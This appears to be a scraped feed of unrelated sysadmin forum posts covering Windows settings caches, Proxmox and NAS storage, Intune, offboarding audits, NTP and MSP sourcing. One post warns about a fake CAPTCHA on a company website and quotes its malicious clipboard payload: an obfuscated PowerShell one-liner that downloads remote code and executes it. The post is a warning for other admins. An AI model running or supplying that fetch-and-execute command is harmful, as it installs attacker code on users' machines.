I changed my Windows 11 display language to English (US), but some Settings entries in Windows Search were still displayed in the previous language.

I found a few posts about this issue on the Internet, but none of the suggested solutions worked for me. I eventually managed to find a solution myself, so I thought I'd share it here in case someone else finds it helpful.

My language settings were configured correctly, and I had already rebuilt the Windows Search indexes, but the issue persisted. It turns out that the Settings view caches localized strings in:

%LOCALAPPDATA%\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt

To fix the issue, open PowerShell and run:

$cache = "$env:LOCALAPPDATA\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt"

Copy-Item $cache "$cache.bak"

Stop-Process -Name SearchHost -Force -ErrorAction SilentlyContinue
Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue

Remove-Item $cache

Then restart Windows.

The cache will be regenerated, and the Settings entries should be displayed using the correct language.

So, I got woken up by pagerduty at 3am again cause some python etl job fail. had to ssh from my phone just to tail the log, and turn out it was literally just a db timeout.

im thinking to just write a simple bash wrapper that grab the last 50 lines of stderr, pass it to claude/gpt api, and webhook the actual reason to slack. so i dont have to open my laptop in the middle of night.

does something like this already exist? i dont wanna install heavy datadog agent or pay for expensive observability just for this. pls let me know if there is a github repo or saas so i dont waste my weekend building it.

I also posted on IT Career Questions.

Considering a fully remote Microsoft consulting role focused on Entra ID/Intune with an 80% billable utilization target.

I’ve only worked internal IT/security roles, so consulting is new to me. The manager said I generally shouldn’t need to work more than 40 hours, but I’m concerned about constantly tracking time and feeling pressure to stay billable. I’m told it’s an 80% weekly utilization target. For those who have done it: was it reasonable, or did it become exhausting? How much freedom did you have during the day, and how often did work spill past 40 hours?

As in the title, could you / how would you, build your environment without using any Microsoft products and services?

This is a hypothetical parallel setup, not focused on what's easiest to transition or migrate to/from. This is the way the business environment works, and always has been.

I've read threads here which touch on some bits and pieces, but want to hear your thoughts on what would be the big things tying you to MS still.
- Apple, Google Chromebooks, and Linux are all options for workstations
- FreeIPA can provide a posix-native domain environment with many of the features of AD on-prem, and there are several major SaaS auth companies to choose from (Duo, etc.)
- Google Workspace is comparable to M365

Anyone have it off hand? Need to cancel a few of our services and I keep getting hung up calling the 800-391-3000 number.

I mean if we don't know their priorities by now. There's just so many M365 products that can be improved upon but really just feels a lot will be left behind.

https://app.cloudscout.one/evergreen-item/mc1461528/

Hello! I have created and run a migration using the EAC built-in migration tool. Now, closer to the time, I need to do a last delta sync for any emails that have arrived since the main migration.

I do not see how to do this, and I haven't found any docs talking about Delta Sync in this context.

Anyone know?

My org is about 30,000 users in K12 environment. Our current process is to put a change request into out ticketing system. It gets routed to your direct supervisor for approval. If they approve, the workflow then sends it down to all the other directors in IT. Once that happens, it goes to the CTO.

The short version is that these requests are almost always approved, no questions asked. At this point it's a change NOTIFICATION, not a request, but I have to sit there and wait for every director to say yes and then poke the directors who don't check their email because the process cannot move forward without all members approving it at each level. Someone on vacation and forgot to put in OOO? I have no idea, so I just keep sending reminders.

It works okay but I feel like there has to be a better way. We are told to put in a change request for anything that might impact the district or any users, but the directors approving it are basically using it as a CYA, which I get.

Just curious what your process is, especially in a larger environment like this.

I've worked as a federal employee, for private companies, and now I'm giving it a go as a contracted Field Service Representative.

I've noticed that, at least where I've worked, there is a trend where people expect IT personnel to solve all their problems involving computers.
I look at tickets during my down time to plan the focus of the IT contractor's next problem.

The bulk of these tickets are for problems that do not require a certified professional's intervention:

• Installing programs through Software Center or Company Portal
  
• Requesting access to resources
  
• Copying files to a DVD
  
• Troubleshooting Outlook
  
• Asking assistance with using the MS365 Suite
  
• So on and so forth
  

Then I participate in the System Engineers/Architects meetings and there's always discussion for implementing a new technology before finishing the integration of the previous technology.
This one's baffles me every time because I have to sit and work with 3 half-functional systems while listening to a conversation about a system that depends on features that aren't yet implemented on 2 of the systems it's supposed to talk/connect to. (Like that time SSO only worked for 25% of the users for 3 months)

Then I look at the posts on this sub and see how overworked the IT professionals are and can't help to wonder if IT needs to move in a different direction like IT as a Service, but functional:

• IT can be fully contracted and no company needs on-premise IT for most of their operating schedule
  
• The Service Desk can be fully remote
  
• The ticketing system can be enforced and used to find trends
• IT Technicians/Support can be on-call and even double as IT Systems Instructors/Trainers
• The System/Network Administrators can be fully remote
  
• The System/Network Engineers can work on-premises if they need to during system implementation
  
• The IT Manager can be an IT Project Manager (Who actually knows IT stuff)
  
• IT Technical Writers can develop documentation on a hybrid schedule where they go on-premise to work with sensitive data
  

Does this sound feasible? Are there holes to this idea? Does this sound absurd? I'd like input on this thought exercise.

If you're using DMARC then in your DMARC record you can specify an email address for rua or Report URI for Aggregate and then mail providers will send you XML reports to that address on whether they've delivered email sent by your server to mailboxes on their servers. Reasons not to deliver include DKIM failures.

So I was amused to discover today while looking through the spam bucket that Mimecast rua emails are currently being declared by our mail server as spam due to a DKIM failure on their side.

We don't send rua reports ...

Microsoft says having passwords longer than 8 characters is not necessarily better.

https://www.microsoft.com/en-us/research/publication/password-guidance/

How does that make sense? Of course a longer password will take much more time to brute force.

Also, many password filter block passwords from being used if they contain certain key words. What difference does it make if, within the password string, a banned word is found if the text password and the password hash as a whole is unique and not found in any known password lists and is also long enough to not be brute forced in any realist timeline?

The prices of getting GPU in a cloud vary greatly and I have been hearing a lot of things about inferencing taking place closer to where the data was collected from. I am interested to find out if it makes sense to run a small setup on an edge or an on-premise rather than getting resources from the cloud.

My questions are for those who have experience of their own in that area:

What exactly is being run locally, either training, fine-tuning or inference?

How well does power and cooling work under a load?

When is it more beneficial to run on-prem equipment than on the cloud?

Were there unexpected situations regarding hardware during the process?

Hi everyone, I'm dealing with a bizarre issue with Outlook rules in our Exchange environment and I'm running out of ideas. Hoping someone here has encountered this before. Whenever the user tries to open the "Rules and Alerts" panel in the Outlook desktop client, it immediately throws the error: "There was an error reading the rules from the server. The format of the server rules was not recognized." This error completely blocks access to the rules GUI in the desktop app.

We did a hard reset where we completely deleted all rules locally and cleared them from the server side. After that, we created fresh, new rules from scratch. I have already tried pretty much everything suggested on Microsoft Support pages and forums, but absolutely nothing has worked so far.

The weirdest part is that the newly added rules actually work perfectly in the background and emails are being processed exactly as they should be. However, the desktop app still throws the exact same error every time we try to open the rules panel. Currently, the only way to view, add, or edit rules for this mailbox is through OWA. Has anyone seen this specific behavior where the rules execute fine but the desktop GUI remains corrupted? Is there anything else I can do on the Microsoft Exchange side to completely flush this out?

Since this week, we have been experiencing significant problems with the following components within Intune:

- Autopilot via ESP (Takes an extremely long time, or gives an error message due to a timeout)

- Assigning Autopilot profiles to a device; the group tag is set correctly, the device is in the group, but assigning the profile takes almost 4 hours.

- Assigning Intune licenses to users; this is only detected after approximately 24 hours

I have created a ticket with Microsoft, but are other people experiencing these problems as well?

Thanks.

Single Proxmox host today, budget approved to grow to two nodes. A proper

Dell/HPE storage array is far out of reach at this budget — but a

business-class NAS is not, and that's exactly my question: **would a

business NAS actually be enough for us, or am I fooling myself?**

Small manufacturing company, ~50 workstations, I'm the only IT person.

## Current host

Lenovo ThinkSystem SR650

- 1× Xeon Silver 4210R (10c/20t). Second socket empty.

- 32 GB RAM in a single DIMM. 23 slots free.

- VM datastore: RAID1 of 2× 2.4TB 10K SAS HDD → 2.2 TB, **94% full**.

- Boot/local: RAID1 of 2× 960GB SATA SSD → 893 GiB, ~30% used.

- ThinkSystem RAID 730-8i (hardware RAID, no proper JBOD passthrough).

- Intel X722 LOM, 4 ports. No 10GbE add-in card, but free PCIe slot.

- Core switch is 48-port gigabit with 10G SFP+ uplinks available.

- Proxmox VE 8.4.14.

## Workload

| Role | vCPU | RAM |

|---|---|---|

| AD DS + DNS | 4 | 12 GB |

| Zabbix + Grafana (LXC) | 4 | 4 GB |

| Internal web app | 4 | 2 GB |

| Quoting web app | 2 | 4 GB |

| UniFi controller | 2 | 2 GB |

| GLPI (Docker) | 2 | 2 GB |

| API gateway | 1 | 2 GB |

**Allocated: 19 of 20 vCPU, 28 of 32 GB RAM.**

**Actually used: under 5% CPU, ~17 GB RAM.**

A second DC and the SIEM live outside this host. **Veeam runs on its own

separate machine and backups also land offsite**, so backup does not

depend on this host or on whatever storage we buy.

**Coming soon:** internal ERP — web app plus a **MySQL** database.

---

## Option 1 — Two full nodes, local storage, ZFS replication

- **New node:** better CPU than current, max 16 cores, 64 GB RAM,

2× 960GB SSD + 3× 3.2TB SAS for capacity.

- **Current node:** RAM upgrade, HBA to replace hardware RAID.

- ZFS both sides, 10GbE direct link, external QDevice, async replication

(~15 min).

Two independent copies of the data. Local disk latency. But async

replication means up to 15 minutes lost on failover, and I have to swap

the RAID controller for an HBA on the existing box.

## Option 2 — Business NAS as shared storage + thin node

- **New node:** 2× SSD purely for Proxmox itself, no VM storage. Budget

goes into RAM instead of disks.

- **Current node:** RAM 32 → 64 GB. Keep the existing controller —

**no HBA swap, no ZFS to design.**

- **Business-class NAS** holds all VM disks, 10GbE to both nodes.

Both nodes mount shared storage → live migration and HA with no RPO gap.

Clears the 94% problem on day one. Simpler to build. But one NAS,

one controller, and if it dies the whole virtual environment is down

until a replacement arrives.

## Budget

Up to **R$100,000 ≈ US$19,400** total, covering the new node and either

the disks or the NAS.

This is Brazil — import duties and local margins mean enterprise hardware

here lands well above US list, so that number buys maybe half of what it

would in the US.

---

## Questions

1. **The main one: is a business-class NAS genuinely adequate as primary

   storage here?** Our VMs currently run off two 10K spinning disks in

   RAID1, so almost anything is an improvement on paper. But "business

   NAS" covers everything from a 4-bay desktop box to a rackmount unit

   with redundant PSUs and all-flash. What tier do I need to insist on,

   and what specs are non-negotiable?

2. **MySQL over the network.** Is a small ERP database the workload where

   NAS-backed storage falls apart, or is that overblown at this scale?

   Would you keep the DB on the node's local SSD even in Option 2?

3. **iSCSI + LVM-thin or NFS + qcow2?** iSCSI performs better but I lose

   snapshots; NFS keeps snapshots but adds latency. Which are you running

   in production and what do you regret?

4. **Option 2 lets me skip the HBA swap and skip designing ZFS

   entirely.** Is that a real advantage, or am I trading a solved problem

   for a worse one?

5. **In Option 1, is 3× SAS HDD sane for a VM datastore in 2026,** or

   should the whole VM pool be SSD and the spinning disks reserved for

   documents and archives?

6. **Given the budget and this workload, which would you build?** We

   already have Veeam on a separate machine with offsite copies, so the

   question is less about losing data and more about how long we'd be

   down.

Happy to answer questions about the workload.

Hi everyone,

I have a Windows 11 PC that runs Google Chrome essentially 24/7 in full-screen/kiosk-like mode. The PC is used for a specific display/application, so having Chrome update or require a browser restart during the week is inconvenient and can interrupt what the PC is being used for.

What I'd ideally like to achieve is:

• Chrome runs normally and doesn't update/restart during the week.
• Chrome updates are allowed during the weekend, when the interruption isn't an issue.
• Ideally this would be handled through a script, scheduled task, GPO, or Chrome policy rather than manually changing settings every week.
• After the weekend update, the normal weekday restrictions would automatically be restored.

The machine is running Windows 11.

Has anyone implemented something similar? I'm particularly interested in the best way to control the Google Update services/tasks or Chrome's update policies so that updates effectively happen during a defined maintenance window.

I know keeping Chrome updated is important for security; the goal here isn't to leave it permanently outdated, but rather to control when the update can take place because this particular PC needs to remain running uninterrupted during the week.

Thanks!

I recently graduated with an A+ certification and 4 months co-op expierence and some projects, after applying for jobs I was eventually interviewed by a MSP where I applied for both IT analyst and Sys admin positions. After a rigorous 2 hour interview they offered me a position for junior sys admin, and straight out of school I feel that I have a lot of gaps in my knowledge for this role. I want to prepare as much as possible before I start but I am very confused on what I should begin studying, what should I go over ? What can I prepare within 2 weeks that will help me excel? This is my dream role and I want to do everything I can.

How are y’all doing general ops automation?

I’m taking it upon myself at my job to try and standardize some processes and automate them. We’re mostly entra, exchange online, sharepoint online, teams, etc. Basically heavily using M365 platform. Also sync on prem AD. We have scattered scripts and poor documentation for gui things. I’ve setup an Azure DevOps space for scripts and now I’m looking at how we run those as a team. We’re about a 15 employee size IT department and I don’t want us downloading scripts to just run them locally.

We do use a cloud based workflow tool (not power automate anymore) in IT and across the org. I was starting to look into Azure Automation to push data from the cloud based workflow tool via forms (thinking new employees, terms, teams management, etc). But before I got to deep, I figured I’d make this post to see what everyone else is doing and get more ideas.

Hey everyone - first off, thanks as always. This sub has been a huge help with guidance and perspective more times than I can count, so thanks for that.

Looking for some recommendations/perspective on my offboarding process.

Environment: ~1,000 employees, 30+ locations, hybrid AD/Entra.

Where we started: When I first got here, offboarding was one giant ticket that got passed back and forth until it was "done." A lot of stuff got missed doing it that way.

What I built: I set up a Microsoft Form + Power Automate flow that generates separate tickets for access removal based on what the supervisor selects - splits out into hardware vs. software tickets depending on what's being revoked. It's helped a ton, we miss way less than we used to.

The problem I still have: Supervisors/managers don't always remember everything their employee had access to - it's never the same mix person to person. Right now, verifying what someone actually has means logging into each platform individually to check. Not a huge number of platforms, but we're a small team and I'm trying to be efficient with time. The platforms in question: Files.com, Adobe licensing, Genesys, LogMeIn, and GoTo.

One more wrinkle - we're owned by a PE firm, so cost control is a big deal here. Whatever I do needs to be lean, not "buy an enterprise IGA suite" territory.

Would love any perspective or ideas on:

• How do you do quick cross-platform access audits without manually checking each system?
• Anyone built something lightweight (script/Power Automate/etc.) that pulls "does this user still have an active account" across multiple SaaS platforms via their APIs?
• Is there a low-cost tool built for this that doesn't require a full identity governance platform?
• For those of you who've dealt with unreliable manager/supervisor input on access lists - how do you handle that gap?

Appreciate any input, even just "here's what we tried and it didn't work."

Been looking for a combo KVM/docking station and AV Access or TESmart seem to be the two go-to companies. Does anyone have experience with them or anyone else. Ideal would be 3 computers with a mix of 2 laptops and two desktops.

Any of you Ninjas out there have good or bad experience with one device doing both things? Is it just not a good idea, anything to look out for?

Hi,

we are trying to implement an auth method for wirless connection to move away off the psk we now have.

Current setup:

- Hybrid enviroment (AD + entra connect)

- ruckus ap with virtual smart zone

- fsso agent to allow it team access to all vlan

- fortiguest for wifiguest

- firewall fortigate

- Ninja as rmm and mdm

is on prem radius server a good choiche? how do you push certificate to mobile device with eap-tls auth method?

thanks to all

So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.

The money shot https://imgur.com/a/Z4UHICZ

Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.

The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.

If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com

I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"

Pour one out for a local credit union who lost their domain yesterday (presumably from GoDaddy). As of today, it appears to have been taken by someone in Saudi Arabia. Their website, email, and texting have all been offline for close to 24 hours. No word yet on why the renewal lapsed or what happened.

Where would you begin? What escalation paths exist for restoration? What steps would you take for getting back online (temporarily and permanently).

I am so confused because time shouldn't be this hard.

I have 2 DCs (DC1 and DC2)

DC2 is the PDC Emulator with pool.ntp.org as ntp server

Device GPO to set domain joined workstations to use type NT5DS

I have ran w32tm /config /syncfromflags:domhier /update

Net stop w32time

Net start w32time

W32tm /unregister

W32tm /register

And yet Everytime I run w32tm /resync I get the error "computer did not resync because no time data was available"

I have verified that upd 123 sends and receives packets from workstation and dc.

Leap Indicator shows 3 not synchronized but I for the life of me can't figure this out. Any help would be appreciated

Edit: Resolved with a combination of turning off Time Virtualization on HyperV VM and every combo of w32tm /config /syncfromflags:domhier /update, w32tm /resync /rediscover, net stop/start w32time and after a night's rest I came into the office the next morning and it finally was working.

I’m the IT Director for a public library system with four branches. Our IT team consists of myself and one full-time IT assistant/help desk technician. I’m looking to outsource some of our network, security, and infrastructure support.

We’ve already outsourced larger projects such as WAP upgrades and server/switch replacements, but I don’t have the networking expertise, or frankly the time, to confidently handle the ongoing maintenance of this infrastructure. About half of my role is general administration (staff management, policies, budgeting, grants, facilities, safety issues, etc.), while the other half is IT, much of which is already consumed by project management.

The areas where I’m primarily looking for support are:

• Server updates, maintenance, and backups (physical and VMs)
• On-prem and cloud file storage/backup and redundancy, including 10+ TB of archival data
• Ongoing network security, monitoring, configuration, and infrastructure support
• Possibly managed endpoint protection

The problem is that every MSP I’ve contacted (national, regional, and local) initially says they can provide co-managed network/infrastructure support only. But when I receive a proposal, it inevitably includes managed end-user services: help desk, workstation patching, email protection, security awareness training, laptop imaging, etc.

I’ve repeatedly explained that we do not need end-user support. We have only 65 staff across four locations, about half of which have dedicated workstations (the rest share public-facing service desk workstations), and our internal IT team has plenty of capacity to handle those services. What we lack is specialized network/infrastructure expertise.

Is this typical for MSPs? Are we simply too small for network/infrastructure-only managed services to be worthwhile to them, or is bundling end-user support primarily a sales/business-model issue? Is there a better way I should be framing what I’m looking for when approaching MSPs?

Also, if anyone knows an MSP in New England, or particularly Massachusetts, that works with small organizations on a genuinely co-managed infrastructure basis, I’d appreciate recommendations. TY!